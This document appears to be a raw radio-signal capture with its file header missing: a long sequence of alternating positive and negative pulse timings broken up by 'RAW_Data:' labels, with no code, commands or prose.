-128 355 -94 369 -128 337 -128 95 -366 367 -108 337 -130 355 -92 121 -374 137 -334 125 -356 349 -140 105 -362 105 -370 343 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3724 131 -358 93 -392 101 -356 357 -106 351 -142 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -138 335 -126 95 -368 139 -334 367 -108 337 -130 97 -3726 131 -358 93 -392 101 -358 355 -106 353 -140 331 -124 359 -106 357 -108 105 -398 319 -142 355 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -350 137 -360 105 -338 373 -108 337 -130 355 -94 391 -104 357 -108 105 -362 355 -106 353 -140 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 351 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3690 133 -358 93 -392 -RAW_Data: 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 355 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -382 103 -360 103 -370 347 -106 337 -132 359 -92 391 -104 357 -108 105 -398 321 -106 353 -140 333 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -106 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -370 129 -340 347 -126 355 -124 337 -128 337 -128 337 -128 127 -346 353 -140 335 -124 347 -94 121 -374 101 -370 125 -352 351 -138 107 -362 105 -370 343 -106 339 -128 133 -346 107 -368 365 -108 337 -128 97 -3720 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 137 -332 353 -138 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3716 99 -362 125 -360 101 -394 319 -142 317 -142 335 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 121 -356 139 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 131 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3716 99 -362 125 -338 129 -372 315 -126 357 -124 337 -128 337 -130 337 -126 127 -346 355 -140 333 -126 347 -94 121 -372 103 -368 125 -354 349 -140 105 -362 105 -370 343 -108 337 -130 131 -348 105 -370 363 -108 337 -128 97 -3724 133 -358 93 -390 101 -358 357 -106 351 -140 333 -122 361 -104 359 -106 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -332 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 99 -3724 133 -358 93 -390 103 -356 357 -106 351 -142 331 -124 361 -104 357 -108 105 -398 319 -142 355 -106 335 -122 109 -374 97 -362 125 -358 327 -124 141 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3718 97 -382 103 -360 105 -370 347 -106 371 -98 359 -92 369 -128 339 -128 93 -368 367 -106 339 -128 357 -92 121 -376 137 -334 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 131 -346 107 -368 365 -108 337 -128 97 -3726 131 -358 93 -392 101 -356 357 -106 351 -140 331 -124 359 -104 359 -108 -RAW_Data: 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 351 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3718 99 -382 101 -360 105 -370 345 -108 371 -98 359 -92 391 -104 359 -106 107 -396 321 -106 353 -140 333 -124 109 -374 99 -360 125 -360 325 -124 121 -358 137 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3726 131 -358 93 -390 103 -356 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 353 -138 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3718 99 -362 93 -370 129 -340 347 -124 357 -124 337 -128 337 -128 339 -128 125 -346 355 -138 335 -126 347 -94 121 -374 101 -368 125 -354 351 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3722 133 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -332 351 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3718 99 -362 93 -390 103 -392 321 -104 355 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 95 -370 141 -334 365 -108 337 -130 131 -3692 131 -358 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -138 335 -128 95 -368 139 -334 367 -108 337 -130 129 -3718 99 -362 123 -340 129 -372 313 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 349 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 91 -372 129 -340 347 -124 357 -124 337 -126 339 -128 337 -128 127 -344 357 -138 335 -126 347 -94 121 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -106 339 -132 131 -346 105 -370 365 -106 337 -130 97 -3754 99 -360 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3694 131 -358 93 -390 103 -356 357 -106 351 -140 333 -124 361 -104 357 -108 141 -362 319 -142 357 -106 333 -124 109 -374 97 -362 -RAW_Data: 125 -358 329 -122 141 -342 135 -334 351 -140 335 -128 95 -368 139 -334 367 -106 339 -128 131 -3692 133 -350 137 -360 105 -336 375 -108 337 -130 355 -94 391 -104 357 -108 105 -362 357 -106 351 -142 333 -124 107 -374 99 -360 125 -360 327 -122 123 -356 139 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3694 133 -358 93 -390 101 -358 357 -106 351 -140 333 -124 359 -104 359 -106 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -332 351 -140 333 -126 97 -370 141 -334 365 -108 337 -130 131 -3722 99 -360 93 -390 103 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -362 321 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -332 351 -140 335 -126 97 -370 139 -334 367 -106 339 -128 131 -3690 133 -350 137 -360 105 -336 377 -106 337 -130 357 -92 391 -104 357 -108 105 -398 319 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 123 -356 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3726 131 -358 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -332 353 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3722 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 329 -122 141 -344 135 -334 351 -140 333 -126 95 -370 141 -334 365 -108 337 -130 131 -3720 97 -362 125 -338 129 -340 347 -126 355 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 347 -94 121 -374 137 -334 125 -352 351 -140 105 -362 105 -370 343 -106 339 -132 131 -346 107 -368 365 -108 337 -128 97 -3722 131 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 335 -124 109 -374 97 -362 123 -360 327 -124 141 -344 133 -334 351 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3722 97 -362 93 -390 103 -394 319 -106 353 -142 333 -122 361 -104 357 -108 141 -362 319 -142 357 -106 335 -124 107 -374 97 -362 125 -360 327 -122 143 -342 135 -332 353 -140 335 -126 -RAW_Data: 95 -368 141 -334 367 -106 337 -130 131 -3722 99 -360 93 -392 101 -358 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 137 -332 353 -140 335 -126 95 -368 139 -334 369 -106 337 -130 131 -3694 131 -358 93 -392 101 -358 357 -104 353 -140 331 -124 361 -104 357 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 135 -334 351 -140 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3692 131 -360 93 -390 101 -358 357 -106 351 -140 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 333 -126 95 -370 139 -336 367 -106 337 -130 131 -3694 131 -358 93 -392 101 -358 357 -104 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 357 -106 335 -122 109 -374 97 -362 125 -358 329 -122 141 -342 137 -332 351 -140 335 -126 97 -368 141 -334 365 -108 337 -130 131 -3716 99 -362 125 -338 129 -372 315 -126 357 -124 337 -128 337 -130 337 -128 125 -346 355 -140 333 -126 349 -94 121 -372 103 -368 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3750 99 -362 93 -392 101 -394 319 -140 319 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 121 -356 141 -334 371 -106 337 -130 133 -346 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 357 -106 351 -142 333 -122 361 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 143 -342 135 -334 351 -140 333 -128 95 -370 139 -334 367 -108 337 -128 131 -3718 99 -362 125 -358 103 -394 319 -140 355 -106 335 -124 359 -104 359 -108 141 -362 319 -140 357 -108 333 -124 109 -374 97 -362 123 -360 327 -124 121 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -106 339 -128 97 -3746 99 -362 125 -338 129 -372 345 -96 359 -124 337 -126 339 -128 337 -128 127 -342 355 -140 335 -126 351 -94 121 -372 137 -334 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 105 -370 365 -106 337 -128 97 -3726 133 -358 93 -390 103 -356 357 -106 351 -142 333 -122 361 -104 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 327 -124 141 -342 135 -334 351 -140 335 -126 95 -370 141 -334 367 -106 337 -130 131 -3718 99 -380 -RAW_Data: 103 -360 105 -370 347 -106 371 -98 361 -92 391 -104 357 -108 105 -398 321 -104 355 -142 331 -124 109 -374 99 -360 125 -360 327 -122 123 -356 139 -334 371 -106 337 -130 133 -346 105 -370 365 -106 337 -128 97 -3750 99 -362 123 -360 101 -394 319 -142 355 -108 333 -124 359 -106 357 -108 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 123 -360 329 -122 121 -358 139 -334 371 -106 337 -130 133 -346 105 -370 365 -106 337 -128 97 -3746 97 -350 127 -372 95 -372 347 -124 351 -124 337 -130 337 -128 339 -126 93 -384 351 -102 367 -94 375 -94 121 -374 101 -368 125 -354 349 -140 105 -364 105 -368 345 -106 339 -130 131 -346 105 -370 365 -108 337 -128 97 -3750 99 -362 123 -340 129 -372 313 -126 357 -124 337 -128 337 -130 337 -128 125 -344 355 -140 335 -126 351 -92 123 -372 103 -368 125 -352 351 -140 105 -362 105 -370 343 -106 339 -130 133 -348 105 -370 363 -108 337 -128 97 -3754 99 -360 93 -392 101 -358 355 -106 353 -140 333 -124 359 -104 359 -106 141 -364 319 -140 359 -106 333 -124 109 -374 97 -362 125 -360 327 -122 143 -342 135 -334 351 -140 335 -126 95 -370 139 -336 367 -106 337 -130 129 -3716 101 -362 123 -360 101 -394 319 -142 355 -106 335 -124 359 -104 359 -108 141 -362 319 -142 357 -106 335 -122 109 -374 97 -362 123 -360 327 -124 141 -344 135 -332 353 -140 335 -126 95 -370 139 -336 365 -108 337 -128 131 -3718 99 -362 125 -360 101 -394 319 -142 355 -106 335 -122 361 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -360 125 -360 327 -122 121 -356 139 -336 371 -106 339 -130 131 -348 91 -382 353 -106 351 -140 105 -3730 97 -382 103 -360 105 -370 345 -106 373 -98 359 -94 367 -128 339 -128 95 -366 367 -108 337 -130 355 -92 121 -376 139 -332 125 -356 349 -140 105 -364 103 -370 343 -108 339 -130 131 -348 141 -334 365 -106 337 -128 97 -3726 133 -358 93 -392 101 -358 357 -106 351 -140 333 -124 359 -104 359 -108 141 -362 319 -140 357 -106 333 -124 109 -374 97 -364 123 -360 327 -124 141 -344 135 -332 351 -140 335 -126 95 -368 141 -334 367 -106 339 -128 131 -3692 131 -360 93 -392 101 -358 355 -106 353 -140 333 -124 361 -104 357 -108 105 -396 319 -140 355 -108 333 -126 107 -376 99 -362 123 -360 327 -124 139 -342 137 -334 353 -138 335 -126 97 -370 139 -334 367 -106 337 -130 97 -3750 99 -364 93 -390 103 -394 319 -140 321 -142 333 -124 361 -104 -RAW_Data: 357 -108 141 -362 317 -140 357 -106 335 -124 107 -378 97 -362 125 -358 329 -122 141 -342 135 -334 353 -140 333 -128 95 -370 141 -332 367 -106 337 -130 97 -3760 97 -384 101 -360 105 -370 347 -106 339 -132 355 -94 391 -104 357 -108 105 -396 321 -140 317 -140 333 -124 109 -374 99 -360 125 -360 325 -124 123 -358 139 -334 371 -106 337 -130 131 -348 105 -368 365 -106 337 -130 97 -3752 99 -360 93 -392 101 -394 321 -140 319 -142 333 -124 359 -104 359 -106 141 -362 319 -140 357 -106 335 -122 109 -376 97 -362 125 -358 329 -122 141 -342 137 -332 353 -140 335 -128 95 -370 139 -334 367 -106 339 -128 99 -3726 131 -358 93 -392 101 -356 359 -106 353 -142 331 -124 359 -104 359 -106 105 -398 319 -140 357 -106 335 -124 109 -374 97 -362 125 -360 327 -122 143 -340 135 -334 353 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3718 99 -348 127 -372 95 -372 347 -124 349 -124 339 -128 337 -128 337 -128 93 -386 349 -104 335 -124 375 -94 123 -372 101 -368 125 -354 351 -138 105 -362 105 -370 343 -106 339 -130 133 -348 105 -368 365 -106 337 -130 97 -3752 99 -362 93 -390 101 -358 357 -142 319 -140 333 -124 359 -106 357 -108 141 -362 319 -140 357 -106 335 -124 107 -376 97 -362 123 -360 327 -124 141 -342 135 -334 353 -140 335 -126 95 -370 139 -334 367 -106 337 -130 131 -3716 99 -364 123 -360 101 -394 321 -140 321 -142 333 -124 359 -104 359 -106 141 -364 317 -142 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 123 -356 139 -336 369 -106 339 -130 131 -346 105 -370 363 -108 337 -128 99 -3756 97 -384 103 -360 103 -370 345 -108 339 -130 355 -94 391 -104 357 -108 105 -396 321 -140 319 -142 331 -124 109 -374 99 -362 123 -360 327 -122 141 -342 137 -334 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 97 -3756 99 -384 101 -360 105 -370 345 -108 339 -130 355 -94 391 -104 357 -108 105 -398 319 -140 319 -140 333 -124 109 -374 97 -362 125 -358 329 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -106 337 -130 97 -3750 99 -362 125 -338 129 -340 347 -126 357 -124 337 -128 337 -128 339 -126 127 -346 355 -140 333 -126 349 -94 121 -374 101 -368 125 -354 351 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -368 365 -108 337 -128 97 -3752 99 -362 93 -390 103 -392 321 -142 319 -142 333 -124 359 -104 359 -106 107 -396 319 -140 357 -106 335 -124 107 -378 -RAW_Data: 97 -362 123 -360 327 -122 141 -342 137 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 97 -3750 99 -362 125 -338 127 -372 347 -94 361 -124 337 -128 337 -128 339 -126 127 -344 355 -140 335 -128 349 -92 123 -372 101 -370 125 -354 349 -140 105 -362 105 -368 343 -106 339 -130 133 -350 105 -368 365 -108 335 -130 97 -3754 99 -360 93 -392 101 -358 357 -106 353 -140 333 -124 361 -104 357 -108 105 -398 319 -140 357 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -342 137 -332 353 -140 335 -126 95 -370 141 -334 365 -108 337 -130 97 -3756 99 -384 101 -360 105 -370 347 -106 339 -130 357 -94 391 -104 357 -106 107 -396 319 -142 317 -140 333 -124 109 -374 97 -364 123 -360 327 -122 123 -358 139 -334 371 -108 337 -130 97 -382 93 -382 353 -104 349 -140 103 -3740 99 -350 137 -360 105 -338 375 -106 339 -130 355 -94 369 -130 337 -128 95 -368 365 -108 337 -128 355 -124 91 -374 103 -368 125 -356 349 -140 105 -362 105 -368 343 -106 339 -130 133 -350 105 -368 365 -108 337 -128 97 -3728 131 -360 93 -392 101 -356 359 -106 349 -140 333 -122 361 -104 357 -108 139 -362 317 -140 357 -108 335 -124 107 -376 99 -362 123 -360 327 -122 141 -342 135 -336 353 -138 335 -126 97 -382 93 -380 353 -104 349 -138 105 -3736 99 -348 137 -360 105 -368 347 -106 339 -130 357 -94 369 -128 339 -128 93 -368 367 -106 337 -130 357 -92 121 -376 101 -368 125 -356 349 -140 105 -362 105 -368 343 -106 337 -132 133 -350 105 -368 365 -106 339 -128 97 -3752 99 -382 103 -360 105 -370 347 -106 339 -132 357 -124 359 -104 357 -108 105 -396 319 -140 321 -140 333 -124 109 -376 97 -362 123 -358 327 -124 139 -342 137 -334 353 -140 333 -128 95 -374 139 -334 365 -108 337 -128 99 -3756 99 -360 125 -360 101 -358 357 -140 319 -140 333 -124 361 -104 357 -108 105 -396 317 -140 357 -108 333 -126 107 -376 99 -362 123 -360 327 -124 139 -342 137 -334 353 -138 335 -126 97 -382 93 -380 353 -104 347 -140 105 -3736 99 -348 137 -360 105 -370 343 -108 337 -132 355 -94 369 -128 337 -128 93 -368 367 -106 339 -130 355 -94 121 -374 137 -336 125 -354 351 -138 107 -362 105 -368 345 -106 339 -130 133 -346 141 -334 365 -108 337 -128 97 -3748 99 -362 125 -338 127 -372 347 -94 359 -124 337 -128 337 -128 339 -128 125 -342 357 -140 335 -128 349 -94 121 -374 137 -332 125 -354 351 -138 107 -362 105 -370 343 -106 -RAW_Data: 339 -130 133 -348 139 -336 363 -108 337 -128 97 -3724 133 -358 93 -392 101 -358 359 -104 353 -140 333 -124 359 -104 357 -108 105 -396 317 -140 357 -108 335 -124 107 -376 99 -362 125 -358 327 -124 141 -340 135 -336 353 -140 333 -126 97 -370 139 -334 367 -106 337 -130 99 -3762 97 -352 135 -360 105 -336 377 -106 339 -130 355 -94 391 -104 357 -106 105 -398 317 -140 319 -142 333 -124 109 -376 97 -362 125 -358 327 -124 123 -358 139 -336 369 -106 337 -128 133 -346 105 -368 365 -106 337 -130 97 -3756 97 -382 103 -360 103 -370 347 -106 339 -132 359 -124 359 -104 359 -106 105 -396 319 -140 355 -106 335 -124 107 -376 97 -362 125 -360 327 -122 141 -342 135 -334 353 -140 335 -126 95 -370 141 -334 367 -106 337 -130 97 -3750 99 -362 125 -360 101 -394 319 -142 321 -142 333 -124 359 -104 359 -106 105 -398 317 -140 357 -106 335 -124 109 -376 99 -362 123 -358 327 -122 125 -360 139 -334 369 -106 337 -130 133 -346 105 -368 367 -106 337 -128 99 -3754 97 -384 101 -360 105 -372 345 -106 339 -130 357 -94 391 -104 357 -108 105 -398 321 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 123 -356 139 -336 371 -108 337 -130 131 -348 93 -380 353 -106 351 -140 105 -3734 99 -352 135 -360 105 -370 343 -108 337 -130 355 -124 339 -128 337 -130 93 -368 367 -106 337 -130 357 -124 89 -376 101 -370 125 -356 351 -138 105 -362 105 -368 343 -106 339 -132 133 -348 105 -370 363 -108 337 -128 97 -3752 99 -364 123 -360 101 -394 321 -140 319 -142 333 -124 359 -104 357 -108 141 -362 317 -142 357 -106 335 -124 109 -374 97 -364 123 -360 327 -122 141 -342 135 -334 353 -140 335 -126 95 -382 105 -370 345 -142 335 -100 135 -3698 131 -352 137 -360 105 -336 375 -106 339 -130 353 -126 337 -128 339 -128 93 -368 369 -106 337 -130 355 -124 89 -376 101 -368 127 -354 351 -138 105 -364 103 -368 343 -108 337 -132 133 -350 105 -368 365 -108 335 -130 97 -3748 99 -362 125 -360 101 -394 319 -140 323 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 109 -374 97 -362 125 -360 325 -124 123 -358 139 -334 371 -106 337 -130 131 -346 105 -370 365 -106 337 -130 97 -3758 99 -360 91 -392 101 -358 357 -106 353 -140 333 -124 359 -104 357 -108 141 -362 317 -140 357 -108 333 -124 109 -376 97 -364 123 -360 327 -122 141 -342 135 -334 353 -140 335 -128 95 -370 139 -334 367 -106 339 -128 99 -3756 -RAW_Data: 99 -382 101 -360 105 -370 345 -106 341 -130 359 -92 391 -104 357 -108 105 -398 319 -140 319 -142 333 -122 109 -376 97 -362 125 -358 327 -124 141 -342 135 -334 353 -140 335 -126 95 -372 139 -334 367 -106 339 -128 99 -3750 99 -362 125 -360 101 -394 321 -140 321 -142 333 -122 361 -104 357 -108 141 -362 317 -140 357 -106 335 -124 109 -376 97 -362 125 -360 327 -122 123 -358 139 -334 371 -106 339 -128 133 -346 105 -368 365 -108 337 -128 97 -3748 99 -362 125 -338 129 -372 345 -130 325 -124 339 -128 337 -128 339 -128 125 -348 355 -138 333 -128 317 -158 91 -372 101 -368 93 -386 351 -138 105 -362 105 -368 343 -142 303 -130 133 -348 105 -370 331 -140 335 -130 97 -3754 97 -382 101 -360 105 -370 347 -106 373 -100 359 -124 337 -128 339 -128 93 -368 367 -106 337 -130 357 -124 89 -376 137 -334 125 -356 351 -140 105 -362 105 -370 343 -106 339 -130 131 -348 105 -368 365 -106 337 -130 97 -3758 99 -360 93 -390 103 -356 359 -106 353 -140 331 -124 361 -104 357 -108 141 -362 319 -140 355 -106 335 -124 107 -378 97 -362 125 -360 325 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 337 -130 131 -3724 99 -384 101 -360 105 -370 345 -106 341 -130 355 -94 391 -104 357 -106 107 -396 319 -142 319 -140 333 -124 109 -376 97 -362 123 -360 329 -122 121 -358 139 -334 371 -108 337 -130 131 -346 105 -370 363 -108 337 -128 99 -3752 99 -380 103 -360 103 -372 349 -106 341 -130 357 -94 369 -128 337 -130 93 -368 367 -106 339 -130 353 -94 121 -374 137 -334 125 -356 351 -140 105 -362 105 -370 343 -108 337 -132 131 -346 105 -368 365 -108 337 -128 97 -3756 99 -362 93 -390 101 -358 357 -106 355 -140 333 -124 359 -104 359 -106 107 -396 319 -142 357 -106 335 -124 107 -376 97 -362 125 -358 327 -124 141 -342 135 -334 351 -140 335 -126 97 -368 141 -334 367 -106 339 -128 99 -3748 97 -384 93 -372 97 -372 345 -124 349 -126 337 -130 337 -128 339 -126 95 -384 351 -138 301 -154 315 -126 123 -372 101 -368 93 -384 351 -140 105 -362 103 -368 343 -142 303 -130 133 -348 105 -368 365 -106 337 -130 97 -3760 99 -358 93 -392 101 -394 319 -106 353 -140 333 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 329 -122 141 -342 135 -334 353 -140 335 -126 95 -370 139 -334 367 -106 339 -128 131 -3720 99 -380 103 -360 103 -372 349 -106 341 -132 357 -94 -RAW_Data: 369 -128 337 -128 95 -366 367 -106 339 -130 355 -124 91 -374 137 -334 125 -354 351 -140 105 -362 105 -370 343 -108 337 -132 131 -348 105 -370 365 -106 337 -128 97 -3750 99 -362 123 -372 95 -372 345 -96 361 -122 337 -128 337 -130 337 -128 125 -344 355 -140 335 -128 349 -94 121 -374 103 -368 125 -354 349 -140 105 -364 103 -370 343 -108 339 -130 131 -348 105 -370 363 -108 337 -128 97 -3750 99 -362 125 -358 103 -394 319 -140 357 -106 335 -124 359 -104 359 -108 141 -362 317 -142 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 123 -356 139 -336 369 -108 337 -130 131 -346 105 -370 365 -108 337 -128 97 -3754 97 -384 101 -360 105 -370 345 -106 339 -132 357 -94 391 -104 357 -108 105 -398 319 -142 319 -142 335 -124 107 -374 97 -362 125 -360 325 -124 121 -358 139 -334 371 -106 339 -130 131 -346 105 -370 365 -106 337 -130 97 -3754 99 -362 93 -390 103 -392 321 -106 353 -142 331 -124 361 -104 357 -108 141 -362 319 -140 359 -106 335 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -332 353 -140 335 -126 97 -370 139 -334 367 -108 337 -130 129 -3726 99 -350 137 -360 105 -370 343 -106 339 -130 357 -92 391 -104 359 -108 105 -398 319 -106 353 -142 333 -122 109 -376 97 -362 123 -360 327 -122 143 -342 135 -334 353 -140 333 -128 95 -368 141 -334 367 -108 337 -130 97 -3754 99 -362 93 -390 103 -394 319 -140 319 -142 333 -122 361 -104 357 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 125 -358 327 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 339 -128 99 -3756 99 -382 103 -360 105 -368 347 -106 339 -130 357 -94 389 -106 357 -108 105 -396 321 -140 319 -142 333 -124 107 -376 97 -362 123 -360 327 -124 121 -358 139 -336 369 -106 339 -130 131 -346 105 -370 365 -106 339 -128 97 -3750 99 -362 125 -338 127 -372 345 -96 361 -122 337 -128 337 -130 337 -128 125 -344 357 -140 333 -128 349 -94 121 -374 101 -370 123 -354 353 -138 107 -362 105 -370 343 -106 339 -130 133 -346 105 -370 363 -108 337 -128 97 -3726 131 -360 93 -390 103 -356 359 -106 353 -140 331 -124 361 -104 357 -108 141 -362 319 -140 357 -106 335 -124 109 -374 97 -362 125 -358 329 -122 141 -342 137 -334 353 -138 335 -128 95 -368 141 -334 367 -106 337 -130 131 -3726 99 -360 93 -390 101 -394 321 -106 351 -142 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 -RAW_Data: 107 -376 97 -362 123 -360 327 -124 141 -342 137 -332 353 -140 335 -126 97 -368 141 -334 367 -106 339 -128 131 -3726 99 -360 93 -390 103 -356 357 -106 353 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -362 125 -360 327 -122 141 -342 137 -334 353 -140 333 -128 95 -370 139 -334 367 -106 339 -130 97 -3750 99 -378 103 -360 103 -372 349 -140 339 -100 359 -94 367 -130 337 -128 93 -368 369 -106 337 -130 357 -124 89 -376 137 -334 125 -354 353 -140 105 -362 105 -370 343 -106 339 -130 133 -346 105 -370 365 -106 339 -128 97 -3754 99 -362 93 -390 101 -394 319 -142 319 -140 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -124 109 -374 97 -364 123 -360 327 -124 141 -342 135 -334 353 -140 333 -128 95 -370 139 -334 367 -108 337 -130 129 -3720 97 -364 123 -340 129 -372 345 -96 359 -124 337 -126 339 -128 337 -128 127 -344 357 -140 333 -128 347 -94 121 -374 101 -368 125 -354 353 -138 105 -362 105 -370 343 -106 339 -130 133 -348 105 -368 365 -106 337 -130 97 -3754 99 -362 93 -390 101 -358 357 -140 321 -140 333 -124 359 -104 359 -106 141 -362 319 -142 357 -106 335 -124 107 -376 97 -362 125 -360 325 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 337 -130 131 -3716 99 -364 125 -358 103 -394 319 -140 359 -106 333 -124 361 -104 357 -108 141 -362 319 -140 357 -108 333 -124 109 -376 97 -362 123 -360 327 -122 123 -358 139 -336 369 -106 339 -130 131 -346 105 -370 363 -108 337 -128 97 -3758 99 -362 93 -390 101 -358 357 -106 355 -140 333 -124 359 -104 359 -106 141 -362 319 -142 355 -108 333 -124 109 -374 97 -362 125 -360 325 -124 141 -342 135 -334 353 -140 335 -126 97 -370 139 -334 367 -106 337 -130 131 -3724 99 -382 103 -360 103 -370 347 -106 339 -130 357 -94 391 -104 359 -106 107 -396 321 -140 319 -142 331 -124 109 -374 99 -360 125 -360 327 -124 121 -358 139 -334 371 -106 337 -130 131 -348 105 -368 365 -106 337 -130 131 -3714 97 -384 93 -372 97 -372 345 -124 351 -124 339 -128 337 -128 337 -128 125 -350 351 -140 333 -92 377 -96 121 -374 101 -368 125 -352 353 -138 107 -362 105 -370 343 -106 339 -130 131 -346 105 -370 365 -106 337 -130 97 -3726 133 -358 93 -390 103 -394 319 -106 353 -140 333 -124 359 -104 359 -108 141 -362 319 -140 359 -106 335 -124 107 -376 97 -362 123 -360 327 -122 143 -342 135 -334 -RAW_Data: 353 -140 333 -128 95 -370 139 -334 367 -106 339 -128 131 -3724 99 -360 93 -392 101 -394 319 -140 319 -142 333 -124 359 -104 359 -108 141 -362 317 -142 357 -108 333 -126 107 -376 97 -362 123 -360 327 -124 141 -342 137 -334 351 -140 335 -126 95 -370 139 -336 365 -108 337 -130 131 -3716 99 -362 125 -370 97 -370 347 -128 327 -124 337 -128 337 -130 337 -128 127 -376 